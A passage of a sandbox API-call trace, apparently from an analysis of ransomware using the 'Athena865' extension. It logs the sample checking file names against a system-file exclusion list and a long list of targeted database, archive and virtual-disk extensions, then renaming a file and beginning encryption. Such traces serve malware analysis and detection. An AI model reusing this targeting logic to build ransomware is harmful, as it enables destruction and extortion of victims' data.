ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iipccoSifvOHT1TcFcj.lnk", cAlternateFileName="IIPCCO~1.LNK")) returned 1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2=".") returned 1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="..") returned 1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="windows") returned -1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="bootmgr") returned 1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="temp") returned -1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="pagefile.sys") returned -1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="boot") returned 1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="ids.txt") returned 1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="ntuser.dat") returned -1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="perflogs") returned -1 [0052.581] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2="MSBuild") returned -1 [0052.582] lstrlenW (lpString="iipccoSifvOHT1TcFcj.lnk") returned 23 [0052.582] lstrcpyW (in: lpString1=0x241e8b4, lpString2="iipccoSifvOHT1TcFcj.lnk" | out: lpString1="iipccoSifvOHT1TcFcj.lnk") returned="iipccoSifvOHT1TcFcj.lnk" [0052.582] lstrlenW (lpString="iipccoSifvOHT1TcFcj.lnk") returned 23 [0052.582] lstrlenW (lpString="Athena865") returned 9 [0052.582] lstrcmpiW (lpString1="TcFcj.lnk", lpString2="Athena865") returned 1 [0052.582] lstrlenW (lpString=".dll") returned 4 [0052.582] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2=".dll") returned 1 [0052.582] lstrlenW (lpString=".lnk") returned 4 [0052.582] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2=".lnk") returned 1 [0052.582] lstrlenW (lpString=".ini") returned 4 [0052.582] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2=".ini") returned 1 [0052.582] lstrlenW (lpString=".sys") returned 4 [0052.582] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.lnk", lpString2=".sys") returned 1 [0052.582] lstrlenW (lpString="iipccoSifvOHT1TcFcj.lnk") returned 23 [0052.582] lstrlenW (lpString="bak") returned 3 [0052.582] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.582] lstrlenW (lpString="ba_") returned 3 [0052.582] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.582] lstrlenW (lpString="dbb") returned 3 [0052.582] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.582] lstrlenW (lpString="vmdk") returned 4 [0052.582] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.582] lstrlenW (lpString="rar") returned 3 [0052.582] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.582] lstrlenW (lpString="zip") returned 3 [0052.582] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.582] lstrlenW (lpString="tgz") returned 3 [0052.582] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.582] lstrlenW (lpString="vbox") returned 4 [0052.582] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.582] lstrlenW (lpString="vdi") returned 3 [0052.582] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.582] lstrlenW (lpString="vhd") returned 3 [0052.582] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.583] lstrlenW (lpString="vhdx") returned 4 [0052.583] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.583] lstrlenW (lpString="avhd") returned 4 [0052.583] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.583] lstrlenW (lpString="db") returned 2 [0052.583] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.583] lstrlenW (lpString="db2") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.583] lstrlenW (lpString="db3") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.583] lstrlenW (lpString="dbf") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.583] lstrlenW (lpString="mdf") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.583] lstrlenW (lpString="mdb") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.583] lstrlenW (lpString="sql") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.583] lstrlenW (lpString="sqlite") returned 6 [0052.583] lstrcmpiW (lpString1="cj.lnk", lpString2="sqlite") returned -1 [0052.583] lstrlenW (lpString="sqlite3") returned 7 [0052.583] lstrcmpiW (lpString1="Fcj.lnk", lpString2="sqlite3") returned -1 [0052.583] lstrlenW (lpString="sqlitedb") returned 8 [0052.583] lstrcmpiW (lpString1="cFcj.lnk", lpString2="sqlitedb") returned -1 [0052.583] lstrlenW (lpString="xml") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.583] lstrlenW (lpString="$er") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.583] lstrlenW (lpString="4dd") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.583] lstrlenW (lpString="4dl") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.583] lstrlenW (lpString="^^^") returned 3 [0052.583] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.584] lstrlenW (lpString="abs") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.584] lstrlenW (lpString="abx") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.584] lstrlenW (lpString="accdb") returned 5 [0052.584] lstrcmpiW (lpString1="j.lnk", lpString2="accdb") returned 1 [0052.584] lstrlenW (lpString="accdc") returned 5 [0052.584] lstrcmpiW (lpString1="j.lnk", lpString2="accdc") returned 1 [0052.584] lstrlenW (lpString="accde") returned 5 [0052.584] lstrcmpiW (lpString1="j.lnk", lpString2="accde") returned 1 [0052.584] lstrlenW (lpString="accdr") returned 5 [0052.584] lstrcmpiW (lpString1="j.lnk", lpString2="accdr") returned 1 [0052.584] lstrlenW (lpString="accdt") returned 5 [0052.584] lstrcmpiW (lpString1="j.lnk", lpString2="accdt") returned 1 [0052.584] lstrlenW (lpString="accdw") returned 5 [0052.584] lstrcmpiW (lpString1="j.lnk", lpString2="accdw") returned 1 [0052.584] lstrlenW (lpString="accft") returned 5 [0052.584] lstrcmpiW (lpString1="j.lnk", lpString2="accft") returned 1 [0052.584] lstrlenW (lpString="adb") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.584] lstrlenW (lpString="adb") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.584] lstrlenW (lpString="ade") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.584] lstrlenW (lpString="adf") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.584] lstrlenW (lpString="adn") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.584] lstrlenW (lpString="adp") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.584] lstrlenW (lpString="alf") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.584] lstrlenW (lpString="ask") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.584] lstrlenW (lpString="btr") returned 3 [0052.584] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.585] lstrlenW (lpString="cat") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.585] lstrlenW (lpString="cdb") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.585] lstrlenW (lpString="ckp") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.585] lstrlenW (lpString="cma") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.585] lstrlenW (lpString="cpd") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.585] lstrlenW (lpString="dacpac") returned 6 [0052.585] lstrcmpiW (lpString1="cj.lnk", lpString2="dacpac") returned -1 [0052.585] lstrlenW (lpString="dad") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.585] lstrlenW (lpString="dadiagrams") returned 10 [0052.585] lstrcmpiW (lpString1="1TcFcj.lnk", lpString2="dadiagrams") returned -1 [0052.585] lstrlenW (lpString="daschema") returned 8 [0052.585] lstrcmpiW (lpString1="cFcj.lnk", lpString2="daschema") returned -1 [0052.585] lstrlenW (lpString="db-journal") returned 10 [0052.585] lstrcmpiW (lpString1="1TcFcj.lnk", lpString2="db-journal") returned -1 [0052.585] lstrlenW (lpString="db-shm") returned 6 [0052.585] lstrcmpiW (lpString1="cj.lnk", lpString2="db-shm") returned -1 [0052.585] lstrlenW (lpString="db-wal") returned 6 [0052.585] lstrcmpiW (lpString1="cj.lnk", lpString2="db-wal") returned -1 [0052.585] lstrlenW (lpString="dbc") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.585] lstrlenW (lpString="dbs") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.585] lstrlenW (lpString="dbt") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.585] lstrlenW (lpString="dbv") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.585] lstrlenW (lpString="dbx") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.585] lstrlenW (lpString="dcb") returned 3 [0052.585] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.586] lstrlenW (lpString="dct") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.586] lstrlenW (lpString="dcx") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.586] lstrlenW (lpString="ddl") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.586] lstrlenW (lpString="dlis") returned 4 [0052.586] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.586] lstrlenW (lpString="dp1") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.586] lstrlenW (lpString="dqy") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.586] lstrlenW (lpString="dsk") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.586] lstrlenW (lpString="dsn") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.586] lstrlenW (lpString="dtsx") returned 4 [0052.586] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.586] lstrlenW (lpString="dxl") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.586] lstrlenW (lpString="eco") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.586] lstrlenW (lpString="ecx") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.586] lstrlenW (lpString="edb") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.586] lstrlenW (lpString="epim") returned 4 [0052.586] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.586] lstrlenW (lpString="fcd") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.586] lstrlenW (lpString="fdb") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.586] lstrlenW (lpString="fic") returned 3 [0052.586] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.586] lstrlenW (lpString="flexolibrary") returned 12 [0052.587] lstrcmpiW (lpString1="HT1TcFcj.lnk", lpString2="flexolibrary") returned 1 [0052.587] lstrlenW (lpString="fm5") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.587] lstrlenW (lpString="fmp") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.587] lstrlenW (lpString="fmp12") returned 5 [0052.587] lstrcmpiW (lpString1="j.lnk", lpString2="fmp12") returned 1 [0052.587] lstrlenW (lpString="fmpsl") returned 5 [0052.587] lstrcmpiW (lpString1="j.lnk", lpString2="fmpsl") returned 1 [0052.587] lstrlenW (lpString="fol") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.587] lstrlenW (lpString="fp3") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.587] lstrlenW (lpString="fp4") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.587] lstrlenW (lpString="fp5") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.587] lstrlenW (lpString="fp7") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.587] lstrlenW (lpString="fpt") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.587] lstrlenW (lpString="frm") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.587] lstrlenW (lpString="gdb") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.587] lstrlenW (lpString="gdb") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.587] lstrlenW (lpString="grdb") returned 4 [0052.587] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.587] lstrlenW (lpString="gwi") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.587] lstrlenW (lpString="hdb") returned 3 [0052.587] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.587] lstrlenW (lpString="his") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.588] lstrlenW (lpString="ib") returned 2 [0052.588] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.588] lstrlenW (lpString="idb") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.588] lstrlenW (lpString="ihx") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.588] lstrlenW (lpString="itdb") returned 4 [0052.588] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.588] lstrlenW (lpString="itw") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.588] lstrlenW (lpString="jet") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.588] lstrlenW (lpString="jtx") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.588] lstrlenW (lpString="kdb") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.588] lstrlenW (lpString="kexi") returned 4 [0052.588] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.588] lstrlenW (lpString="kexic") returned 5 [0052.588] lstrcmpiW (lpString1="j.lnk", lpString2="kexic") returned -1 [0052.588] lstrlenW (lpString="kexis") returned 5 [0052.588] lstrcmpiW (lpString1="j.lnk", lpString2="kexis") returned -1 [0052.588] lstrlenW (lpString="lgc") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.588] lstrlenW (lpString="lwx") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.588] lstrlenW (lpString="maf") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.588] lstrlenW (lpString="maq") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.588] lstrlenW (lpString="mar") returned 3 [0052.588] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.588] lstrlenW (lpString="marshal") returned 7 [0052.588] lstrcmpiW (lpString1="Fcj.lnk", lpString2="marshal") returned -1 [0052.589] lstrlenW (lpString="mas") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.589] lstrlenW (lpString="mav") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.589] lstrlenW (lpString="maw") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.589] lstrlenW (lpString="mdbhtml") returned 7 [0052.589] lstrcmpiW (lpString1="Fcj.lnk", lpString2="mdbhtml") returned -1 [0052.589] lstrlenW (lpString="mdn") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.589] lstrlenW (lpString="mdt") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.589] lstrlenW (lpString="mfd") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.589] lstrlenW (lpString="mpd") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.589] lstrlenW (lpString="mrg") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.589] lstrlenW (lpString="mud") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.589] lstrlenW (lpString="mwb") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.589] lstrlenW (lpString="myd") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.589] lstrlenW (lpString="ndf") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.589] lstrlenW (lpString="nnt") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.589] lstrlenW (lpString="nrmlib") returned 6 [0052.589] lstrcmpiW (lpString1="cj.lnk", lpString2="nrmlib") returned -1 [0052.589] lstrlenW (lpString="ns2") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.589] lstrlenW (lpString="ns3") returned 3 [0052.589] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.590] lstrlenW (lpString="ns4") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.590] lstrlenW (lpString="nsf") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.590] lstrlenW (lpString="nv") returned 2 [0052.590] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.590] lstrlenW (lpString="nv2") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.590] lstrlenW (lpString="nwdb") returned 4 [0052.590] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.590] lstrlenW (lpString="nyf") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.590] lstrlenW (lpString="odb") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.590] lstrlenW (lpString="odb") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.590] lstrlenW (lpString="oqy") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.590] lstrlenW (lpString="ora") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.590] lstrlenW (lpString="orx") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.590] lstrlenW (lpString="owc") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.590] lstrlenW (lpString="p96") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.590] lstrlenW (lpString="p97") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.590] lstrlenW (lpString="pan") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.590] lstrlenW (lpString="pdb") returned 3 [0052.590] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.590] lstrlenW (lpString="pdm") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.591] lstrlenW (lpString="pnz") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.591] lstrlenW (lpString="qry") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.591] lstrlenW (lpString="qvd") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.591] lstrlenW (lpString="rbf") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.591] lstrlenW (lpString="rctd") returned 4 [0052.591] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.591] lstrlenW (lpString="rod") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.591] lstrlenW (lpString="rodx") returned 4 [0052.591] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.591] lstrlenW (lpString="rpd") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.591] lstrlenW (lpString="rsd") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.591] lstrlenW (lpString="sas7bdat") returned 8 [0052.591] lstrcmpiW (lpString1="cFcj.lnk", lpString2="sas7bdat") returned -1 [0052.591] lstrlenW (lpString="sbf") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.591] lstrlenW (lpString="scx") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.591] lstrlenW (lpString="sdb") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.591] lstrlenW (lpString="sdc") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.591] lstrlenW (lpString="sdf") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.591] lstrlenW (lpString="sis") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.591] lstrlenW (lpString="spq") returned 3 [0052.591] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.592] lstrlenW (lpString="te") returned 2 [0052.592] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.592] lstrlenW (lpString="teacher") returned 7 [0052.592] lstrcmpiW (lpString1="Fcj.lnk", lpString2="teacher") returned -1 [0052.592] lstrlenW (lpString="tmd") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.592] lstrlenW (lpString="tps") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.592] lstrlenW (lpString="trc") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.592] lstrlenW (lpString="trc") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.592] lstrlenW (lpString="trm") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.592] lstrlenW (lpString="udb") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.592] lstrlenW (lpString="udl") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.592] lstrlenW (lpString="usr") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.592] lstrlenW (lpString="v12") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.592] lstrlenW (lpString="vis") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.592] lstrlenW (lpString="vpd") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.592] lstrlenW (lpString="vvv") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.592] lstrlenW (lpString="wdb") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.592] lstrlenW (lpString="wmdb") returned 4 [0052.592] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.592] lstrlenW (lpString="wrk") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.592] lstrlenW (lpString="xdb") returned 3 [0052.592] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.593] lstrlenW (lpString="xld") returned 3 [0052.593] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.593] lstrlenW (lpString="xmlff") returned 5 [0052.593] lstrcmpiW (lpString1="j.lnk", lpString2="xmlff") returned -1 [0052.593] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\iipccoSifvOHT1TcFcj.lnk.Athena865") returned 87 [0052.593] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\iipccoSifvOHT1TcFcj.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\iipccosifvoht1tcfcj.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\iipccoSifvOHT1TcFcj.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\iipccosifvoht1tcfcj.lnk.athena865"), dwFlags=0x1) returned 1 [0052.594] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\iipccoSifvOHT1TcFcj.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\iipccosifvoht1tcfcj.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.594] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2714) returned 1 [0052.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.594] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.595] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.595] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.595] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xda0, lpName=0x0) returned 0x154 [0052.595] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xda0) returned 0x100000 [0052.595] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.596] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.596] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 